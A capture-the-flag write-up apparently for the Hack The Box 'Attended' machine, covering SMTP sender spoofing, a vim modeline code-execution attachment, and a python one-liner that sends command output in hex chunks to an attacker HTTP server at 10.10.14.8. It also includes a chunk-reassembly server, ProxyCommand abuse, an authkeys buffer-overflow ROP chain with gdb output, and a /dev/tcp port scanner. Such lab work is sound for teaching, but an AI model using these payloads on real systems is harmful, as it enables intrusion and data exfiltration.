Failing to login three times lets us see what authentication methods are accepted when attempting to SSH into the box:
It seems like nothing unusual is needed to authenticate.
2.2 TCP PORT 25 : SMTP
Looking at the banner when trying to access the OpenSMTPD service via telnet, a user (guly) and domain (attended.htb) are seen. And, when you try to verify if it is an existing email address, the server responds with 250 Recipient Ok:
Now starting a local SMTP server to check if guly replies to emails:
Now to begin sending an email:
We get the following reply saying that guly is currently working on an inssue with someone named, freshness and will only entertain emails coming from him:
Trying to impersonate freshness using swaks:
Now, the response says that now, guly needs to receive an attachment. And also, python2 is installed in the gateway which only allows RFC compliant connections (e.g. SMTP, ICMP, HTTP, etc.):
Trying to create an attachment then sending it to guly as freshness:
I get notified that that attachment I sent as going to be opened in vim and that freshness' configuration file should be in /home/shared/:
The following are everything we’ve gotten from the email exchange above:
Only emails from freshness will be entertained.
Only RPC compliant protocols for outbound traffic will be allowed which means simple socket connections (for reverse shells) will not work.
Python2 could be used and the sent attachment will be opened using vim.
A config file should be in /home/shared/.
PART 3 : EXPLOITATION
3.1 VIM MODELINES
While searching for code execution exploits in vim, I came across CVE-2016-1248 which is Arbitrary Command Execution using vim modelines. However, it was discovered around 2016 and a newer exploit (CVE-2019-12735) was found on 2019.
What happens when modelines is enabled in vim is that when the file contains the following line:
The command will execute before proceeding to the actual file contents.
3.2 PAYLOAD CREATION
There are a few challenges to overcome since only RPC compliant protocols are allowed for outbound connections so first, I created an automated vim modeline payload generator using bash:
This incorporates a python2 one-liner which when expanded looks like the following:
What it essentially does is to chunk the response to a maximum of 3000 bytes per request since there seems to be a limit to how much data I could send back to my server.
After which, I created an HTTP Server that will be used to exfiltrate the responses from the machine and since I’m chunking the requests, the following code will manage with rebuilding the response:
3.3 REMOTE CODE EXECUTION
Start the created HTTP Server:
Then, begin sending commands then wait until the HTTP server reflects the output:
PART 4 : USER SHELL (freshness)
4.1 SYSTEM ENUMERATION
Checking for all the users that have a directory in /home:
The config file mentionedd earlier should be in /home/shared but the directory doesn’t seem to have global read permissions, however exploring guly’s home directory:
There is a .config.swp file (.swp files are usually created when a file is opened in vim and will serve as a backup until the opened file is closed). Since this is a binary file, it can’t be exfiltrated by simply outputting the file:
4.2 .config.swp RESTORATION
Saving the hex output into a file, .config.swp.hex, then decoding it into the original file:
To fully recover the file, just open a file called config in vim and then press r:
It seems to be an ssh_config file for the user, freshness. Maybe this could be abused by using ProxyCommand like so:
Based on the directory listing of /home, /home/shared is world writable:
Now, attempting to write a config file with ProxyCommand into /home/shared/config using the vim modelines exploit:
After waiting for guly to reply to the sent email, we can SSH into the box as freshness:
PART 5 : EXPLOITING authkeys
5.1 ENUMERATING freshness
There is a note left in ~/authkeys stating that an authkeys command was enabled in the attended gateway but not in the attended machine:
Based on /etc/ssh/sshd_config, the authkeys command takes four arguments and is owned by root:
Based on the OpenBSD sshd_config documentation:
Parameter
Description
%f
The fingerprint of the key or certificate.
%h
The home directory of the user.
%t
The key or certificate type.
%k
The base64-encoded key or certificate for authentication.
5.2 PERSONAL OpenBSD
I created my own local OpenBSD instance to aid in exploiting the authkeys binary and inside, I edited the sshd_config file:
5.3 BUFFER OVERFLOW
Looking at the disassembly of something is written to 0x6010c0:
And based on gdb that address is part of the .data segment of the memory which is the corresponding virtual address space of a program that contains initialized static variables:
Since I know that the key should be base64 encoded, I created an encoded string of "A"s:
Then running it in gdb and setting a breakpoint to 0x00400361:
The keys argument is decoded and written to 0x6010c0. Now, to create a long enough buffer to induce a segmentation fault:
Checking at what offset in the buffer the return address was overwritten with:
The return address is overwritten after 776 bytes!
5.4 STARTING THE EXPLOIT
The payload offset is adjusted by 22 bytes for the added bytes by the SSH key constructor and another 8 bytes for the consideration of RBP and finally writing the new return address:
Checking in with gdb, the return address is now "CCCCCCCC":
5.5 ROP GADGETS
There is a syscall instruction available so perhaps execve() may be an option:
Checking if there’s a way to control RAX, there are a few gadgets that can help set the desired value for the register:
Finally, gadgets that can help set the values of RDI, RSI, and RDX which requires conversion from a single precision floating point value to an integer and a pointer assignment for RDX when used with movups:
5.6 CONTROLLING RAX
The binary value of "3B" (execve syscall) is "111011". What will happen when mov eax, 0xffffffff; xor rcx, rcx; ret; is that RAX will be set to 0xFFFFFFFF or 11111111111111111111111111111111.
From there we can use right bitshifts and the not operator to get the correct value but take note that the not al operator only converts the last two bytes so if our current value is the one mentioned earlier, 0xFFFFFFFF, we need to shift the bits to the right 24 times to achieve 0x000000FF:
Translating the following into the exploit code:
Now trying the new payload from exploit code:
The RAX register has been controlled!
5.7 RDI, RSI, RDX CONTROL
These three registers will serve as the arguments for the execve function:
Based on the OpenBSD sshd_config documentation:
REGISTER
PARAMETER
VALUE
RDI
const char *pathname
/bin/sh
RSI
char *const argv[]
["/bin/sh", "-c", "<command>"]
RDX
char *const envp[]
NULL
However, controlling the three registers is a bit tricky using the following gadgets:
To set the value of RDI, the process will go as follows:
Set the value of RDX to be the pointer to the address of your intended RDI. The value of RDX should be a floating point number since it will be converted later on to the desired value.
Convert the value of RDX from a single precision floating point number to an integer using the cvtss2si gadget which will set its value to RSI.
Move the value to RDI from RSI.
I created a function to that will convert the address to its single precision floating point number equivalent:
To set the value of RSI, just follow the steps above from 1 until 3. Finally, to set the value of RDX, there is simply a pop rdx; ret gadget available. With all this information, the exploit code has been modified to the following:
The needed registers have been completely controlled and to give an overview to what is inside RDI and RSI:
The pointers inside RSI are all going to the right places so the only thing left to do is to trigger the syscall.
5.8 ADDING SYSCALL
To finalize the exploit, the syscall instruction has been added to the code:
5.9 TESTING LOCALLY
Running the completed exploit code then passing the generated payload as an identity file when logging in via SSH:
Then checking if the file was created:
So the exploit works on my local setup, the only thing to do is to run it on the machine.
PART 6 : PRIVESC (freshness -> root)
6.1 ATTENDED GATEWAY
It was stated earlier in a note that the authkeys was implemented on attendedgw but not on attended. Looking for other machines in the network via ping sweep then scanning for ports remotely:
The Attended Gateway is at 192.168.23.1 and now, to check for open ports, I opened a reverse proxy via SSH to the machine and ran the following script:
It seems like the SSH port is open at TCP port 2222.
6.2 FINAL EXPLOIT
The exploit has been modified to write an SSH public key to the authorized_keys file in /root:
hello, thanks for writing.
i'm currently quite busy working on an issue with freshness and dodging any email from everyone but him. i'll get back in touch as soon as possible.
---
guly
OpenBSD user since 1995
Vim power user
/"\
\ / ASCII Ribbon Campaign
X against HTML e-mail
/ \ against proprietary e-mail attachments
hi mate, could you please double check your attachment? looks like you forgot to actually attach anything :)
p.s.: i also installed a basic py2 env on gw so you can PoC quickly my new outbound traffic restrictions. i think it should stop any non RFC compliant connection.
---
guly
OpenBSD user since 1995
Vim power user
/"\
\ / ASCII Ribbon Campaign
X against HTML e-mail
/ \ against proprietary e-mail attachments
thanks dude, i'm currently out of the office but will SSH into the box immediately and open your attachment with vim to verify its syntax.
if everything is fine, you will find your config file within a few minutes in the /home/shared folder.
test it ASAP and let me know if you still face that weird issue.
---
guly
OpenBSD user since 1995
Vim power user
/"\
\ / ASCII Ribbon Campaign
X against HTML e-mail
/ \ against proprietary e-mail attachments
#!/bin/bash
echo "[x] CREATING PAYLOAD";
cmd=$1;
payload=":!python2 -c 's=import(\"subprocess\").Popen(\"$cmd\", shell=True, stdout=-1).communicate()[0].strip(); [import(\"requests\").get(\"http://10.10.14.8/\", params={len(s):\"\".join([format(ord(x), \"02x\") for x in s[3000*i:3000*(i+1)]])}) for i in range(0,int(import(\"math\").floor(float(len(s))/3000))+1)]' ||\" vi:fen:fdm=expr:fde=assert_fails(\"source\!\ \%\"):fdl=0:fdt=\"";
echo $payload > cmd.txt
echo $payload;
echo "[x] SENDING PAYLOAD AS ATTACHMENT"
swaks --to "[email protected]" --from "[email protected]" --body "ggwp" --attach cmd.txt --server 10.10.10.221 2>/dev/null
echo "[x] CLEANING UP"
rm cmd.txt
import math
import requests
import subprocess
s = subprocess.Popen("<command>", shell=True, stdout=-1).communicate()[0].strip()
for i in range(0, int(math.floor(float(len(s))/3000))+1):
params = { len(s): "".join([format(ord(x), "02x") for x in s[3000i:3000(i+1)]])}
requests.get("http://10.10.14.8/", params=params)
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
global content
content = dict()
def http_server(host_port):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
params_get = urlparse(self.path).query.split('&')
for i in params_get:
param = i.split("=",1)
if param[0] in content:
content[param[0]] += bytes.fromhex(param[1]).decode("utf-8")
else:
content[param[0]] = bytes.fromhex(param[1]).decode("utf-8")
for i in content:
if int(i) == len(content[i]):
print(content[i])
print("==============================================")
del content[i]
self.send_header("Content-Type", "text/plain")
self.end_headers()
return
class Server(TCPServer): allow_reuse_address = True
httpd = Server(host_port, CustomHandler)
httpd.serve_forever()
def main():
try: http_server(('0.0.0.0', 80))
except KeyboardInterrupt: pass
if name == "main": main()
$ sudo python3 server.py 2>/dev/null
$ ./cmd.sh id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
$ ./cmd.sh "ls -la /home"
total 20
drwxr-xr-x 5 root wheel 512 Jun 26 2019 .
drwxr-xr-x 13 root wheel 512 May 8 11:05 ..
drwxr-x--- 4 freshness freshness 512 Nov 12 16:56 freshness
drwxr-x--- 4 guly guly 512 May 8 15:12 guly
drwxrwx-wx 2 root freshness 512 Dec 11 22:25 shared
$ ./cmd.sh "ls -la /home/guly/tmp"
total 32
drwxr-xr-x 2 guly guly 512 Jun 26 2019 .
drwxr-x--- 4 guly guly 512 May 8 15:23 ..
-rwxr-x--- 1 guly guly 12288 Jun 26 2019 .config.swp
obsd$ gdb authkeys
(gdb) info files
Symbols from "/home/jebidiah/authkeys".
Local exec file:
`/home/jebidiah/authkeys', file type elf64-x86-64.
Entry point: 0x400240
0x0000000000400240 - 0x00000000004003d2 is .text
0x00000000005003d2 - 0x00000000005003ea is .note.openbsd.ident
0x0000000000601000 - 0x00000000006013c0 is .data
(gdb) break * 0x00400361
(gdb) run 1 2 ssh-rsa QWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWIxQWIyQWIzQWI0QWI1QWI2QWI3QWI4QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3QWQ4QWQ5QWUwQWUxQWUyQWUzQWU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2QWY3QWY4QWY5QWcwQWcxQWcyQWczQWc0QWc1QWc2QWc3QWc4QWc5QWgwQWgxQWgyQWgzQWg0QWg1QWg2QWg3QWg4QWg5QWkwQWkxQWkyQWkzQWk0QWk1QWk2QWk3QWk4QWk5QWowQWoxQWoyQWozQWo0QWo1QWo2QWo3QWo4QWo5QWswQWsxQWsyQWszQWs0QWs1QWs2QWs3QWs4QWs5QWwwQWwxQWwyQWwzQWw0QWw1QWw2QWw3QWw4QWw5QW0wQW0xQW0yQW0zQW00QW01QW02QW03QW04QW05QW4wQW4xQW4yQW4zQW40QW41QW42QW43QW44QW45QW8wQW8xQW8yQW8zQW80QW81QW82QW83QW84QW85QXAwQXAxQXAyQXAzQXA0QXA1QXA2QXA3QXA4QXA5QXEwQXExQXEyQXEzQXE0QXE1QXE2QXE3QXE4QXE5QXIwQXIxQXIyQXIzQXI0QXI1QXI2QXI3QXI4QXI5QXMwQXMxQXMyQXMzQXM0QXM1QXM2QXM3QXM4QXM5QXQwQXQxQXQyQXQzQXQ0QXQ1QXQ2QXQ3QXQ4QXQ5QXUwQXUxQXUyQXUzQXU0QXU1QXU2QXU3QXU4QXU5QXYwQXYxQXYyQXYzQXY0QXY1QXY2QXY3QXY4QXY5QXcwQXcxQXcyQXczQXc0QXc1QXc2QXc3QXc4QXc5QXgwQXgxQXgyQXgzQXg0QXg1QXg2QXg3QXg4QXg5QXkwQXkxQXkyQXkzQXk0QXk1QXk2QXk3QXk4QXk5QXowQXoxQXoyQXozQXo0QXo1QXo2QXo3QXo4QXo5QmEwQmExQmEyQmEzQmE0QmE1QmE2QmE3QmE4QmE5QmIwQmIxQmIyQmIzQmI0QmI1QmI2QmI3QmI4QmI5QmMwQmMxQmMyQmMzQmM0QmM1QmM2QmM3QmM4QmM5QmQwQmQxQmQyQmQzQmQ0QmQ1QmQ2QmQ3QmQ4QmQ5QmUwQmUxQmUyQmUzQmU0QmU1QmU2QmU3QmU4QmU5QmYwQmYxQmYyQmYzQmY0QmY1QmY2QmY3QmY4QmY5QmcwQmcxQmcyQmczQmc0Qmc1Qmc2Qmc3Qmc4Qmc5QmgwQmgxQmgyQgo=
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x000000000040036b in ?? ()
(gdb) x/xg $rsp
0x7f7ffffd45d8: 0x42306142397a4138
$ msf-pattern_offset -l 1000 -q 42306142397a4138
[*] Exact match at offset 776
from Crypto.PublicKey import RSA
from pwn import
# Public Key Generation=============================================
def generateRSAPublicKey(payload):
n = int("".join([format(ord(x),"02x") for x in payload]),16)
print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8"))
# Payload Buffer====================================================
payload = ""
payload += "A" (768 - 22) # buffer
payload += "B" 8 # rbp
payload += "C" 8 # ret addr
# Payload Generation================================================
generateRSAPublicKey(payload)
(gdb) break * 0x00400361
(gdb) run 1 2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAC+kFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkJDQ0NDQ0NDQw==
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x000000000040036b in ?? ()
(gdb) x/xg $rsp
0x7f7ffffd45d8: 0x4343434343434343
(gdb) break * 0x00400361
(gdb) run 1 2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkJCQkJCQkKUA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAAAAAAAAAAAAAQ==
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400372 in ?? ()
(gdb) info register $rax
rax 0x3b 59
int execve(const char pathname, char const argv[], char *const envp[]);
attended$ ifconfig vio0
vio0: flags=8b43<UP,BROADCAST,RUNNING,PROMISC,ALLMULTI,SIMPLEX,MULTICAST> mtu 1500
lladdr 00:10:20:30:40:50
index 1 priority 0 llprio 3
groups: egress
media: Ethernet autoselect
status: active
inet 192.168.23.2 netmask 0xffffff00 broadcast 192.168.23.255
attended$ ping -c1 attendedgw
PING attendedgw.attended.htb (192.168.23.1): 56 data bytes
64 bytes from 192.168.23.1: icmp_seq=0 ttl=255 time=0.840 ms
#!/bin/bash
for port in {1..12000}; do
(echo > /dev/tcp/192.168.23.1/$port) &>/dev/null
[ $? -eq 0 ] && echo "TCP PORT $port open"
done;
$ ssh -i freshness.id_rsa -l freshness -D 6969 -f -N 10.10.10.221
$ sudo vim /etc/proxychains.conf
$ cat /etc/proxychains.conf | tail -n2
# ATTENDED
socks5 127.0.0.1 6969
$ proxychains ./ports.sh
TCP PORT 25 open
TCP PORT 53 open
TCP PORT 80 open
TCP PORT 2222 open
TCP PORT 8080 open